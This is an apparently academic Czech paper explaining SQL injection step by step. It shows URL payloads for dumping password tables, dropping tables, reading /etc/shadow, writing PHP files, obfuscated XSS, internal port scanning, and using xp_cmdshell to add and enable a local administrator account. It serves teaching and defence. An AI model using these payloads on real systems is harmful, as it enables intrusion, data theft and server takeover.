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Abstract—Tento článek se zabývá jednou z nejnebezpečnějších zranitelností webových informačních systémů – SQL Injection. V článku jsou popsány metody, kterými může útočník zranitelnost zneužít nejen pro čtení a zápis databázových dat, ale také pro provedení operací čtení a zápisu nad souborovým systémem databázového serveru, útok prostřednictvím Cross Site Scripting s cílem krádeže autentizované uživatelské relace, skenování portů v rámci lokální sítě a plnou kompromitaci databázového serveru na úrovni operačního systému. V závěru článku jsou uvedena bezpečnostní doporučení, jak se zranitelnosti SQL Injection bránit a také jak vybudovat další stupně obrany v případě, že je zranitelnost útočníkem v aplikaci detekována a zneužita.
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I.  Úvod
Zranitelnost známá pod pojmem SQL Injection, českým označením SQL injekce či zkratkou SQLi je známá již od dob prvních webových informačních systémů napojených na databázi. Přesto i v dnešní době je zranitelnost často útočníky zneužívána pro krádeže citlivých dat [1].
Zranitelnost SQL Injection se pravidelně umisťuje na prvním místě žebříčku OWASP
 Top Ten
. Ten každých několik let uvádí nejzávažnější a nejrozšířenější zranitelnosti týkající se webových aplikací.

SQL Injection se řadí bezpochyby mezi nejzávažnější a nejnebezpečnější zranitelnosti webových informačních systémů a to z toho důvodu, že v případě výskytu této zranitelnosti v aplikaci jsou v ohrožení databázová data. Data uložená v databázi jsou zpravidla nejcennějším aktivem celého informačního systému a jejich únik, změna, kompromitace či smazání může mít pro majitele informačního systému závažné důsledky [2].

Data ukradená z databáze mohou být použita v rámci konkurenčního boje či průmyslové špionáže, mohou být prodána na černém trhu či použita pro neautorizovaný přístup k informačnímu systému. Dále v případě, že je událost medializována, čelí postižená společnost významnému reputačnímu riziku či dokonce právním postihům, splňují-li uniklé informace definici citlivých dat, jakými jsou například osobní údaje o zákaznících, klientech či zaměstnancích [5].

Moderní databázové systémy (Database Management System - DBMS) již neslouží pouze pro manipulaci s daty v relačních (a jiných
) databázích prostřednictvím strukturovaného dotazovacího jazyka SQL, ale umožňují například zápis a čtení souborů z disku či dokonce spouštění příkazů na úrovni operačního systému. Tyto funkcionality přispívají k možnostem databázového systému napojeného na informační systém. Avšak v případě kompromitace aplikace prostřednictvím SQL Injection se tyto možnosti dostávají do rukou útočníka. Výsledkem tak je, že útok prostřednictvím SQL Injection nemusí nutně spočívat jen v úniku či změně dat, ale může končit až kompletní kompromitací databázového serveru na úrovni operačního systému [3].
II. Kompromitace dat prostřednictvím SQLi

Zranitelnost SQL Injection spočívá v tom, že je uživatelský vstup bez ošetření předán na zpracování databázovému systému [9]. Pro představu uvažujme jednoduchý informační systém, který na základě hodnoty předaného identifikátoru zobrazí odpovídající článek - jeho nadpis a tělo
:

http://example.com/?id=2

SQL dotaz zpracovávaný databázovým systémem vypadá následovně:

SELECT header,body FROM articles WHERE id=3

Červeně je v rámci dotazu znázorněn vstup uživatele prostřednictvím parametru id. Při testování na výskyt SQL Injection v daném parametru
 aplikace se často používá jako vstup apostrof:

http://example.com/?id=3’
Výsledný databázový dotaz se tím stává syntakticky nesprávným:

SELECT header,body FROM articles WHERE id=3‘

Dle typu databázového systému je obvykle vypsáno chybové hlášení informující o nesprávné syntaxi zpracovávaného dotazu.
Pokud je vypisování chybových hlášení potlačeno, je možné pro detekce zranitelnosti SQL Injection využít klauzuli ORDER BY s číselným parametrem, který udává pořadové číslo sloupce, podle kterého bude prováděno řazení [6].
V případě výskytu zranitelnosti SQL Injection v parametru id se rozložení stránky při následujících dvou vstupech bude měnit:

http://example.com/?id=3 ORDER BY 1

http://example.com/?id=3 ORDER BY 2

V případě řazení podle třetího – neexistujícího sloupce již ke změně stránky oproti původní nedojde. Tímto způsobem je možné potvrdit výskyt SQL Injection v daném parametru i pokud má aplikace potlačená chybová hlášení. Metod detekce zranitelnosti je více, je možné využít například logické výrazy, konkatenace řetězců či další konstrukce [7].
Jakmile má útočník potvrzeno, že se v daném parametru opravdu zranitelnost SQL Injection nachází, jsou jeho dalším cílem zpravidla data uložená v databázi. Další postup, jak se k těmto datům dostat, záleží na konkrétním použitém databázovém systému a webové technologii. Nejběžnějším způsobem je využití zřetězených dotazů či konstrukce UNION. Těmto postupům se věnují následující podkapitoly.

A. Zřetězené dotazy
Některé databázové systémy v kombinaci s webovou technologií umožňují SQL dotazy jednoduše řetězit za sebe oddělené středníkem. Následuje orientační výčet kombinací webových a databázových technologií, které zřetězené dotazy (tzv. stacked queries) podporují [5]:

· MySQL/ASP.NET

· PostreSQL/ASP.NET

· PostreSQL/PHP

· MSSQL/ASP.NET

· MSSQL/PHP

Pokud chce útočník přečíst data z jiné tabulky a databáze, než nad kterou operuje dotaz, jednoduše svůj dotaz připojí za dotaz, do kterého je prováděna SQL injekce:
http://example.com/?id=3;SELECT username,password FROM ebank.users

Výsledný zřetězený dotaz vykonaný databázovým systémem vypadá následovně:

SELECT header,body FROM articles WHERE id=3; SELECT username,password FROM ebank.users
V případě podpory zřetězených dotazů se však útočník nemusí omezovat pouze na čtení dat. Útočník například může způsobit Denial of Service (DoS) informačního systému, tedy jeho nedostupnost pro legitimní uživatele. Toho dosáhne smazáním tabulky či celé databáze:

http://example.com/?id=3;DROP ebank.users

Dalším způsobem jak způsobit nadměrné vytížení databáze a tím nedostupnost informačního systému je použití vestavěných funkcí náročných na výpočet výkon. Takovou funkcí je například funkce benchmark() databázového systému MySQL či Oracle. V případě MySQL první parametr udává počet opakování, kolikrát bude vykonán příkaz uvedený v druhém parametru. Opakovaný následující požadavek tak rychle vytíží dostupné zdroje databázového serveru:

http://example.com/?id=3;BENCHMARK(99999999,MD5(‚‘Denial of Service‘))
B. UNION dotazy

Ne všechny webové technologie však podporují zřetězování dotazů, kdy lze jednoduše cílový dotaz zapsat přímo za stávající. Typickým zástupcem této skupiny je poměrně rozšířená kombinace databázového systému MySQL a skriptovacího jazyka PHP. PHP dovoluje svými interními funkcemi spustit vždy pouze jeden SQL dotaz
.
Přesto existuje řešení, jak i v této situaci pomocí injekce upravit databázový dotaz tak, aby bylo dosaženo požadovaného výsledku. Tímto řešením je syntaktická konstrukce jazyka SQL nazvaná jako UNION. UNION si lze představit jako sjednocení dvou množin. Nutnou podmínkou pak je, že databázový dotaz přidaný pomocí UNION musí vracet stejný počet sloupců jako dotaz originální.

Jelikož však útočník obvykle nemá k dispozici zdrojové kódy aplikace, na niž útočí, nemá ani informaci o počtu sloupců vracených daným SQL dotazem. Tento počet je možné zjistit prostřednictvím klauzule ORDER BY s číselným parametrem. Číselný parametr uvádí pořadí sloupce, podle kterého budou data řazena. Útočník tak může začít číslem 1 a pokračovat dále, dokud mu chybové hlášení neoznámí, že sloupec, podle kterého chce řadit, neexistuje [4]. Předpokládejme, že následující dotaz se provede korektně:

SELECT header,body FROM articles WHERE id=3 ORDER BY 1

Stejně jako tento:

SELECT header,body FROM articles WHERE id=3 ORDER BY 2

Avšak následující dotaz, kdy chceme řadit podle třetího sloupce, již skončí chybou:

SELECT header,body FROM articles WHERE id=3 ORDER BY 3

Tímto způsobem je možné postupně enumerovat počet sloupců, který databázový dotaz vrací. V tomto případě se jedná o dva sloupce.
Se znalostí počtu sloupců je pak možné dotaz upravit následujícím způsobem, tak aby byla vypsána verze MySQL a jméno databázového uživatele:
SELECT header,body FROM articles WHERE id=3 UNION SELECT version(),user()
Pro výpis verze a jména databázového uživatele, pod kterým je dotaz spouštěn, byly použity vestavěné funkce MySQL user() a version().

V praxi útočník databázový dotaz navíc modifikuje způsobem, aby původní dotaz nevracel žádná data a tudíž aby tak jedinými vypsanými daty bylo pouze to, co útočník požaduje [7]. Toho lze docílit jednoduše nastavením hodnoty id na neexistující (typicky zápornou) hodnotu:

 SELECT header,body FROM articles WHERE id=-1 UNION SELECT version(),user()
Dosud byly v UNION dotazu využity pouze vestavěné funkce. Vypsání dat z databáze však probíhá obdobným způsobem. Následuje příklad, který vypíše uživatelská jména aplikačních uživatelů spolu s jejich hesly:
SELECT header,body FROM articles WHERE id=-1 UNION ALL SELECT username,password FROM app.users

Spuštění výše uvedeného SQL dotazu může být prostřednictvím SQL Injection vykonáno následujícím požadavkem:
http://example.com/?id=-1 UNION ALL SELECT username,password FROM app.users

V příkladu byla použita konstrukce UNION ALL, která zajistí vypsání všech záznamů a ne pouze těch jedinečných. Zrovna v příkladu výše by postačilo taktéž použití standardního UNION, jelikož předpokládáme, že se v aplikaci nenacházejí dva a více uživatelů se stejným jménem a heslem. U složitějších dotazů však má již použití UNION ALL své opodstatnění.

Příkladem může být situace, kdy by útočník chtěl zjistit, kolik odchozích transakcí provedl daný uživatel. Výstupem poddotazu bude počet řádků odpovídající počtu odchozích transakcí uživatele. V každém řádku však bude pouze stále stejné uživatelské jméno. Pokud by v této situaci byla použita konstrukce UNION namísto UNION ALL, byla by vrácena vždy hodnota 0 (uživatel neprovedl žádné odchozí transakce) nebo 1 (uživatel provedl jednu nebo více transakcí). Samotná informace o přesném počtu by byla ztracena.

Konkatenace dotazu pomocí UNION však útočníkovi neposkytuje stejnou sílu jako zřetězené dotazy popisované v předchozí podkapitole. UNION může být sice použit pro čtení dat napříč dostupnými databázemi a tabulkami, avšak již není možné data vkládat (INSERT), upravovat (UPDATE) ani provádět další akce (například DROP).

C. Blind SQL Injection

O Blind SQL Injection nebo také slepé SQL injekci hovoříme v případě, že prostřednictvím zranitelnosti není možné vypsat do stránky žádná data [11]. Prakticky to tedy znamená, že je možné uživatelský vstup injektovat do parametru způsobem, že je vykonán databázovým systémem, avšak výsledek dotazu není vypsán v rámci webové stránky, tak jako v případě výše uvedených variant zranitelnosti SQL Injection.

I v tomto případě však existují metody, jak informace z databáze přečíst. Útočník se nejprve ujistí, že v cílovém parametru je přítomna zranitelnost SQL Injection a to například prostřednictvím logickým výrazů. Pokud následující injekce nevrátí žádný výsledek:

http://example.com/?id=3 AND 0=1

A následující injekce vrátí původní výsledek, pak je pravděpodobné, že je parametr zranitelný vůči SQL Injection:

http://example.com/?id=3 AND 1=1

Pokud by se útočník pokusil vypsat aktuálního databázového uživatele, nebyl by úspěšný, jelikož výstup dotazu není zobrazen nikde na stránce:
http://example.com/?id=3 UNION SELECT NULL,user()

Jedná se tedy o klasický scénář Blind SQL Injection. Pro jednoduchost uvažujme, že motivací útočníka je zjistit jméno databázového uživatele, pod kterým jsou spouštěny SQL dotazy. Jde mu tedy o to zjistit výstup funkce user (), který však již nelze dostat tak jednoduše, jako v případě klasického SQL Injection.

Řešením je dotaz na jméno zkombinovat s logickým výrazem. Pokud bude výsledek logického výrazu pravda, zobrazí se původní stránka, pokud bude výsledek logického výrazu nepravda, nedojde k zobrazení obsahu stránky [11].

Dotazy jsou poté koncipovány níže uvedeným způsobem:

· Je první písmeno jména uživatele ‘a’?

· Je první písmeno jména uživatele ‘b’?

· …

· Je druhé písmeno jména uživatele ‘a’?

· …

Injekce představující první z dotazů poté bude vypadat následovně:

http://example.com/?id=3 AND 1=(ascii(substring((SELECT user()),1,1))=97)

V dotazu je použita funkce substring(), která vrátí daný podřetězec (zde konkrétně první písmeno řetězce) a funkce ascii(), která převádí znak na jeho ASCII hodnotu. ASCII hodnota prvního znaku je porovnána s hodnotou 97, což je ASCII hodnota znaku ‘a’. Pokud se na tento dotaz vrátí stránka s původním obsahem, ví útočník, že uživatelské jméno začíná na ‘a’ a pokračuje druhým písmenem V opačném případě je první znak porovnán s písmenem ‘b’ (ASCII 98) a tak dále.

Stejným způsobem může útočník získat libovolná data z databáze (samozřejmě v rámci hranic daných právy databázového uživatele). Postup lze urychlit využitím metody půlení intervalu
D. Time Based Blind SQL Injection

Ještě komplikovanější scénář nastane, pokud daný zranitelný parametr neovlivňuje zobrazení dat na stránce. V takovém případě pak obě níže uvedené injekce (první reprezentuje false - nepravdu, druhá true - pravdu) vrátí stejnou stránku:
http://example.com/?id=3 AND 0=1

http://example.com/?id=3 AND 1=1

To však ještě nemusí nutně znamenat, že parametr není náchylný na SQL Injection. V takovém případě začne útočník analyzovat průměrné časy odpovědí na uvedené požadavky [8].
 Uvažujme, že z deseti pokusů u každého z požadavků zjistí, že odpověď na první požadavek se vrací průměrně za 500 ms, zatímco odpověď na druhý za 1500 ms. V tomto bodě je zásadní, aby měření doby přijetí odpovědi probíhalo pokud možno na co nejstabilnější lince, jinak mohou být výsledky značně zkresleny. Pokud je mezi odpověďmi true a false požadavek znatelná časová prodleva, je možné, že je parametr náchylný na SQL Injection.
Čtení dat z databáze by pak probíhalo stejným způsobem jako v případě klasického Blind SQL Injection jen s tím rozdílem, že jako pravda by byly brány požadavky s vyšším zpožděním odpovědi nebo naopak.
Postup zneužití ať už základního Blind SQL Injection nebo Time-Based Blind SQL Injection je velice zdlouhavý a vyžaduje velké množství SQL dotazů. Útočník však nemusí dotazy psát ručně, ale může využít nástroj, který tuto činnost automatizuje [7]. Jedním z nejznámějších auditních nástrojů pro testování zranitelnosti SQL Injection je aplikace slqmap
.
III. Operace nad souborým systémem

V předchozích kapitolách bylo demonstrováno, jakým způsobem se útočník může prostřednictvím zneužití zranitelnosti SQL Injection dostat k databázovým datům. Cíle útočníka však nemusí zůstat pouze u krádeže, případně modifikace databázových dat. Útočník se pomocí SQL Injection může pokusit číst soubory z lokálního disku a také na disk zapisovat. I toho může být prostřednictvím zranitelnosti SQL Injection docíleno.
Postupy jak číst a zapisovat data na lokální disk se opět liší v závislosti na použitém databázovém systému. V této kapitole bude popsán postup pro DBMS MySQL v kombinaci s PHP běžící na linuxovém serveru.

A. Čtení dat z disku

V kapitole pojednávající o použití konstrukce UNION byly zmíněny vestavěné funkce MySQL user() a version(). MySQL podporuje množství vestavěných funkcí, z nichž jedna slouží pro čtení dat z disku. Jedná se o funkci load_file(). Přístup k této funkci mají databázoví uživatelé s privilegiem FILE. 
Pomocí této funkce je možné přečíst libovolný soubor na disku, ke kterému má přístup uživatel operačního systému, pod kterým je databázový systém MySQL spuštěn. Pokud je DBMS spuštěn pod uživatelem root (unixové systémy) či administrator (MS Windows), je možné prostřednictvím funkce load_file() přistupovat k libovolným souborům:

http://example.com/?id=-1 UNION SELECT ALL 1,load_file(‘/etc/shadow ‘)

Výstupem výše uvedené injekce bude výpis souboru /etc/shadow obsahujícího hashe systémových uživatelů. Útočník může následně provést útok hrubou silou vůči hashům a v případě použití slabých hesel kompromitovat některé ze systémových účtů.
I pokud však zrovna DBMS neběží pod privilegovaným uživatelem, může útočník přistupovat k souboru /etc/passwd, ze kterého může zjistit seznam jmen uživatelů. Vůči těmto účtům poté může například podniknout slovníkový útok přes službu SSH
.

Kromě systémových souborů může být cílem útočníka například lokální soubor obsahující přihlašovací údaje k databázi. Parametrem funkce load_file() však musí být absolutní cesta k souboru. Proto je nutnou prerekvizitou znalost umístění souborů webového informačního systému v rámci adresářové struktury souborového systému serveru.

Tuto informaci může útočník zjistit například vygenerováním aplikačních chybových hlášení. Další překážkou pro útočníka je nutnost znalosti přesného umístění a názvu souboru s databázovými údaji. Pokud webová aplikace využívá otevřený framework, může útočník tento název a umístění zjistit z dostupné dokumentace či analýzou zdrojových kódu. V opačném případě může zkusit název souboru uhádnout. Jakmile útočník zná cestu k tomuto souboru, může ho pomocí funkce load_file() přečíst:

http://example.com/?id=-1 UNION SELECT NULL,load_file(‘/var/www/app/db/connection.php ‘)
B. Zápis dat na disk
Cílem útočníka může dále být také zápis dat na lokální disk. Motivace útočníka pro zápis dat na disk může být různá. Jeden z případů je popsán v kapitole pojednávající o kompletní kompromitaci databázového serveru prostřednictvím MySQL User Define Functions (VI.B).
Pro zápis prostřednictvím prostředků jazyka SQL je možné využít klauzuli INTO OUTFILE. Pro zápis platí stejně jako v případě čtení, že je zde útočník omezen právy systémového uživatele, pod kterým je databázový systém spuštěn.

Pro jednoduchost předpokládejme, že útočník chce zjistit výstup funkce jazyka PHP phpinfo(), která mu může poskytnout užitečné informace o konfiguraci prostředí webové aplikace. Toho může dosáhnout vytvořením souboru s následujícím obsahem v adresáři aplikace:

<? phpinfo() ?>

A to prostřednictvím následující injekce:

http://example.com/?id=-1 UNION SELECT NULL, '<? phpinfo()?>' INTO OUTFILE '/var/www/app/info.php’

Výsledný soubor zobrazí konfigurační nastavení prostředí jazyka PHP:

http://example.com/info.php
IV. XSS pomocí SQL Injection

V úvodu bylo zmíněno, že SQL Injection pravidelně obsazuje první místo v žebříčku OWASP Top Ten zranitelností webových aplikací. V těsném závěsu pak vždy vystupuje zranitelnost Cross Site Scripting, známá též pod svojí zkratkou XSS
.
A. Reflected XSS

Zranitelnost XSS spočívá v možnosti vložení vlastního kódu (zpravidla HTML a JavaScriptu) do webové stránky. Typickým příkladem může být webový formulář s jediným vstupem, který po odeslání zobrazí vstup na stránce. V případě vložení následujícího vstupu však dojde k jeho interpretaci a tudíž je prostřednictvím jazyka JavaScript zobrazeno okno s popisem XSS:

<script>alert(‘XSS’)</script>

Toto okno uvidí pouze uživatel, který daný vstup do formuláři zadá. Pokud by útočník chtěl, aby se tento malý skript vykonal u jiného uživatele, pošle mu následující URL, která bude zadání vstupu simulovat:

http://example.com/?vstup=<script>alert(‘XSS’)</script>
Ve výsledku tak příjemce odkazu, který na odkaz klikne, uvidí okno s popiskem, které vytvořil útočníkův skript. Tento typ XSS je nazýván jako Reflected XSS nebo také neperzistentní XSS a to z toho důvodu, že webová stránka není modifikována permanentně. Útočníkův skript je pak šířen většinou pomocí odkazu, jak bylo uvedeno výše.
B. Stored XSS

Druhou variantou je pak tzv. Stored XSS nazývané také jako perzistentní XSS. V tomto případě je již útočníkův skript uložen do databáze a změna na stránce je tak perzistentní – projeví se u všech návštěvníků dané stránky, aniž by útočník musel obětem rozesílat upravené URL odkazy.

Klasickým případem tak může být jednoduché webové fórum, kam uživatelé vkládají své příspěvky. Pokud je vstup uživatele vypsán na stránku bez ošetření (speciální řídící znaky nejsou zkonvertovány na odpovídající HTML entity) stává se aplikace náchylnou na perzistentní XSS.

C. Zneužití

Přestože v přechozích ukázkách injektovaný skript pouze otevřel alert okno, může útočník využít při XSS plnu sílu jazyka JavaScript. Klasickým využitím útoku XSS je tak například krádež uživatelovy cookie s identifikátorem autentizované uživatelské relace. Útočník do stránky injektuje skript, který obsah této cookie každého návštěvníka pošle na jeho server. Se znalostí identifikátoru uživatelské relace pak může útočník oběť v rámci aplikace impersonovat.

Únos autentizované relace však není jediný způsob zneužití této zranitelnosti. Útočník může pomocí perzistentního XSS modifikovat stránku a vložit do ní libovolné informace. Tímto způsobem může například vytvořit poplašnou zprávu. Pokud by se zranitelnost nacházela na některém významném zpravodajském portálu, mohla by dezinformace vést například až k poklesu akcií uvedené firmy.  Útočník může také cíleně vložit informaci s cílem poškození reputace společnosti provozující informační systém.
Jak již bylo uvedeno výše, prostřednictvím zranitelnosti XSS může útočník využit plné síly jazyka JavaScript, který mu dává dostatečné prostředky pro ovládnutí prohlížeče oběti. Pro tento typ útoku existují specializované frameworky, které umožňují prohlížeč oběti použít jako proxy pro útoky na další cíle. Nejznámějším takovým frameworkem je projekt BeEF (The Browser Exploitation Framework)
.

D. Od SQLi k XSS

XSS je možné vyvolat i prostřednictvím zranitelnosti SQL Injection [15]. Na první pohled možná není zřejmá motivace útočníka, proč by injektoval jakékoliv skripty do stránky, když má kompletní kontrolu nad databází a daty v ní. Může však nastat situace, kdy je cílem útočníka získání přístupu do informačního systému. Útočník může prostřednictvím SQL Injection libovolně přistupovat k datům z databáze i je modifikovat. Útočník se tak dostane k tabulce se záznamy uživatelů spolu se silnými solenými hash hodnotami jejich hesel. Útočník však nemá dostatečný výpočetní výkon pro útok hrubou silou vůči hashům či například ani nezná konkrétní uplatnění princip solení hashů
. V takovém případě může být pro útočníka řešením využití XSS s cílem krádeže autentizované cookie.
V kapitole pojednávající o klasickém využití SQL Injection, tedy pro přístup k databázovým datům byl uveden příklad s využitím konstrukce UNION:
http://example.com/?id=-1 UNION SELECT 1, NULL
Předpokládejme, že parametr id je náchylný na SQL Injection tedy, že uživatelský vstup bez ošetření vstupuje přímo do databázového interpretru. Modifikovaný databázový dotaz by tak mohl vypadat například následovně:

SELECT header,body FROM articles WHERE id=-1 UNION SELECT 1, NULL
Předpokládáme, že id s hodnotou -1 neexistuje, tudíž první část dotazu nevrátí žádný výsledek a druhá část vrátí výsledek ‘1’. Dále může být odkaz upraven následovně:

http://example.com/?id=-1 UNION SELECT ’abc’, NULL
Výstupem pak bude řetězec ‘abc’. Tím bylo dosaženo možnosti vkládat vlastní vstupy do výsledné webové stránky. Útočníkovi už nic nebrání využít tento princip pro vložení JavaScript skriptu do stránky:

 http://example.com/?id=-1 UNION SELECT ’<script>alert(123)</script>’

Kliknutí na tento odkaz způsobí vykonání vloženého skriptu, čímž je docíleno útoku XSS prostřednictvím zranitelnosti SQL Injection.
V závislosti na použitém databázovém systému může útočník odkaz navíc zamaskovat (tzv. obfuskovat) tak, aby nebudil pozornost nestandardními znaky obsaženými v URL. Například v případě MySQL je možné řetězce zapisovat ve formě konkatenovaných hexa číslic s prefixem 0x. Výše uvedený odkaz lze přepsat do následujícího tvaru:
http://example.com/?id=-1 UNION SELECT 0x3C7363726970743E616C65727428313233293C2F7363726970743E

Obdobné techniky existují i pro další databázové systémy. Další úrovní obfuskace může být převedení části URL na odpovídají URL kódované znaky:
http://example.com/?id=-%31%2b%55%4e%49%4f%4e%2b%53%45%4c%45%43%54%2b%30%78%33%43%37%33%36%33%37%32%36%39%37%30%37%34%33%45%36%31%36%43%36%35%37%32%37%34%32%38%33%31%33%32%33%33%32%39%33%43%32%46%37%33%36%33%37%32%36%39%37%30%37%34%33%45

Ani zkušený uživatel tak při pohledu na URL neodhadne, co se stane při kliknutí na odkaz. Tímto způsobem je možné efektivně provádět XSS útoky prostřednictvím zranitelnosti SQL Injection a tím ještě více rozšířit sílu, jakou útočníkovi nalezení této zranitelnosti v aplikaci dává.
V. Port Scanning pomocí SQL Injection

V této kapitole bude uvedeno poměrně netradiční zneužití zranitelnosti SQL Injection. Skrze SQL Injection ve webovém informačním systému dostupném z Internetu může útočník databázový server využít jako skener portů a získat tak představu o vnitřní síti či DMZ segmentu (záleží na tom, kde je databázový server umístěn) dané společnosti.
Ne všechny databázové systémy však mohou být zneužity tímto způsobem. V této kapitole budou popsány příklady zneužití zranitelnosti SQL Injection pro skenování portů pomocí databázových systémů MSSQL a Oracle.

A. MSSQL

V případě databázového systému je možné pro účely skenování portů využít funkci OPENROWSET() [12]. Funkce OPENROWSET() slouží pro vykonání databázového dotazu na vzdáleném serveru. Parametry této funkce jsou přihlašovací údaje, identifikace serveru a služby (IP adresa a port) a vlastní SQL dotaz. Po spuštění se funkce pokusí připojit na zadanou IP adresu a port. Pokud port není dostupný (je zavřený nebo filtrovaný) je vráceno chybové hlášení:

SQL Server does not exist or access denied

V případě, že je port otevřený je vráceno jedno z následujících hlášení:

General network error. Check your network documentation

OLE DB provider 'sqloledb' reported an error. The provider did not give any information about the error.
Spuštění funkce se všemi parametry může vypadat následovně:

select * from OPENROWSET('SQLoledb', 'uid=sa;pwd=;Network=DBMSSOCN;Address=192.168.200.3,80;timeout=5', 'select * from table')

Samotné zneužití funkce pomocí SQL Injection pak může být realizováno prostřednictvím zřetězených dotazů následovně:

http://example.com/?id=3; select * from OPENROWSET('SQLoledb', 'uid=sa;pwd=;Network=DBMSSOCN;Address=192.168.200.3,80;timeout=5', 'select * from table')

Dotaz ověří, zde je port 80 na adrese 192.168.200.3 otevřený. Postup lze pomocí skriptů automatizovat tak, aby byl proveden plošný sken zadaného síťového rozsahu [8].
Pokud by se jednalo o Blind SQL Injection a dotaz by nevracel žádná chybová hlášení, je stále možné rozpoznat otevřený a nedostupný port. Jedním z parametrů funkce OPENROWSET() je timeout, který udává jak dlouho se má DBMS snažit k danému portu připojit. V příkladu výše je tento timeout nastavený na pět vteřin. Pokud je port otevřený, stránka se vrátí téměř okamžitě (záleží na rychlosti připojení) a v opačném případě je stránka vrácena až po uplynutí doby nastavené prostřednictvím parametru timeout, tedy pěti vteřin.

Funkce OPENROWSET() je však tímto způsobem zneužitelná pouze v MSSQL 2000, od verze MSSQL 2005 byla funkce deaktivována [12].
B. Oracle

Stejně jako MSSQL i databázový systém Oracle obsahuje prostředky, které dovolují provádět spojení na vzdálené počítače a porty. V případě Oracle je k tomuto účelu možné využít síťový balíček UTL_HTTP a jeho metodu request() [14]. Vyvolání metody pro vygenerování HTTP požadavku na IP adresu 192.168.200.3  a port 80 je realizováno následujícím způsobem: 
utl_http.request(192.168.200.3:80)

Pokud je cílový port nedostupný (zavřený nebo filtrovaný) je vráceno chybové hlášení:

ORA-29273: HTTP request failed ORA-06512: at "SYS.UTL_HTTP", line 1577 ORA-12570: TNS:packet reader failure ORA-06512: at line 1
V opačném případě, kdy je port otevřený, je vráceno hlášení:
ORA-29273: HTTP request failed ORA-06512: at "SYS.UTL_HTTP", line 1577 ORA-29263: HTTP protocol error ORA-06512: at line 1.

Zneužití balíčku UTL_HTTP prostřednictvím SQL Injection pak může útočník docílit následujícím způsobem:

http://example.com/?id=3||utl_http.request(192.168.200.3:80)

V příkladu je využit operátor konkatenace ||, prostřednictvím kterého je výsledek operace připojen k výsledku původního SQL dotazu.

Pro automatizaci skenování portů je možné využít hotové skripty [8]. Síťový balíček UTL_HTTP je dostupný ve verzi Oracle 10g. Ve verzi Oracle 11g a vyšší byla dostupnost tohoto balíčku běžným databázovým uživatelem omezena.
VI. SQLi jako prostředek pro kompromitaci serveru

V předchozích kapitolách bylo popsáno, jakým způsobem útočník zneužije zranitelnost SQL Injection pro přístup k databázovým datům či jejich modifikaci, spuštění JS skriptu prostřednictvím XSS či pro skenování portů. Některé databázové systémy však implementují také prostředky pro vlastní rozšíření
 či spouštění příkazů na úrovni operačního systému DB serveru.
V této kapitole budou popsány dvě metody kompletní kompromitace serveru na úrovni operačního systému a to za použití vestavěné funkce xp_cmdshell databázového systému MSSQL a za použití User Defined Functions (UDF) databázového systému MySQL.
A. MSSQL a funkce xp_cmdshell

Funkce xp_cmdshell je jednou z vestavěných funkcí databázového systému MSSQL. Funkce slouží pro spouštění příkazů na úrovni operačního systému databázového serveru. Příkazy jsou vykonány s právy uživatele, pod kterým je MSSQL server spuštěn.

V případě verze MSSQL 2000 se jedná téměř vždy o systémového uživatele NT AUTHORITY\SYSTEM
. V případě novějších verzí pak záleží na úrovni bezpečnostního hardeningu databázové služby (Více o tématu bezpečnostního hardeningu viz kapitola VII věnující se obraně), zda proces běží pod privilegovaným či dedikovaným uživatelem.
Zjištění, pod kterým uživatelem operačního systému je příkaz vykonáván, je možné prostřednictvím příkazu:

whoami 
V případě, že tento příkaz není dostupný, je možné použít následující:

echo %USERDOMAIN%\%USERNAME%

Dále v textu bude předpokládáno, že databázový server je spuštěn pod privilegovaným uživatelem systému MS Windows (administrator nebo NT AUTHORITY\SYSTEM). Potom je možné funkci xp_cmdshell využít pro vytvoření nového lokálního uživatele s administrátorskými právy pomocí následující sekvence příkazů:

net user ptest heslo1234 /add

net localgroup administrators ptest /add

První z příkazů vytvoří lokálního uživatele ptest s heslem heslo1234. Druhým příkazem je tento uživatel zařazen mezi lokální administrátory systému.
Pokud by databázový server byl zároveň doménovým kontrolerem, je možné vytvořit doménového uživatele a následně mu přidělit práva doménového admistrátora, čímž by útočník získal téměř plnou kontrolu nad vnitřní sítí. V následujícím příkladu však tuto možnost nebudeme předpokládat. Vytvoření lokálního administrátora prostřednictvím funkce xp_cmdshell spouštěné pomocí SQL Injection potom může být provedeno následujícím způsobem:
http://example.com/?id=3;EXEC master.dbo.xp_cmdshell ' net user ptest heslo1234 /add '

http://example.com/?id=3;EXEC master.dbo.xp_cmdshell' net localgroup administrators ptest /add'

Vytvořením lokálního administrátorského účtu získá útočník plnou kontrolu nad databázovým serverem. Dalším krokem může být připojení na server prostřednictvím vzdálené plochy (RDP, Remote Desktop). Pokud není služba RDP na server povolená, může útočník službu povolit prostřednictvím příkazu net start či wmic service.

Dále může útočník nasdílet lokální disky, manipulovat s antimalwarovými prostředky či instalovat backdoory, keyloggery a další malware. Kompromitací jednoho ze serverů vnitřní sítě společnosti získává útočník platformu pro podnikání útoků vůči dalším serverům v interní síti. Dalšími cíli tak mohou být interní fileservery, poštovní servery, doménové kontrolery, CAS
 servery či pracovní stanice zaměstnanců.
Přítomnost chyby typu SQL Injection ve webovém informačním systému dostupném z Internetu tak může v konečném důsledku znamenat kompletní kompromitaci vnitřní sítě útočníkem.
V kapitole věnované zneužití zranitelnosti SQL Injection pro provádění operací čtení a zápisu nad souborovým systémem databázového serveru byly demonstrovány příklady jak toho dosáhnout prostřednictvím DBMS MySQL. V případě MSSQL není třeba hledat potřebné klauzule či funkce, ale stačí použít funkci xp_cmdshell pro čtení:

xp_cmdshell(‘type db\connection.aspx‘)
I pro zápis:

xp_cmdshell(‘echo “Fix your code!” > index.aspx‘)

Přestože u funkce xp_cmdshell je riziko zneužití útočníkem nejvyšší, MSSQL podporuje další z rodiny ‘xp_’ funkcí, které mohou být pro útočníka potenciálně zajímavé. Přehled těchto funkcí shrnuje tabulka 1.
Funkce xp_cmdshell je implicitně povolená ve verzi MSSQL Server 2000. Přestože ve verzi MSSQL Server 2005 a vyšší je funkce deaktivovaná, je možné ji pod privilegovaným databázovým uživatelem pomocí procedury sp_configure opět povolit
:

EXEC sp_configure 'show advanced options',1 
RECONFIGURE

EXEC sp_configure 'xp_cmdshell',1 
RECONFIGURE

Jak již bylo uvedeno v předchozím textu, MSSQL (v kombinaci s ASP.NET) podporuje zřetězené dotazy. Povolení funkce xp_cmdshell prostřednictvím SQL Injection tak může být provedeno jediným požadavkem:

http://example.com/?id=3;EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE

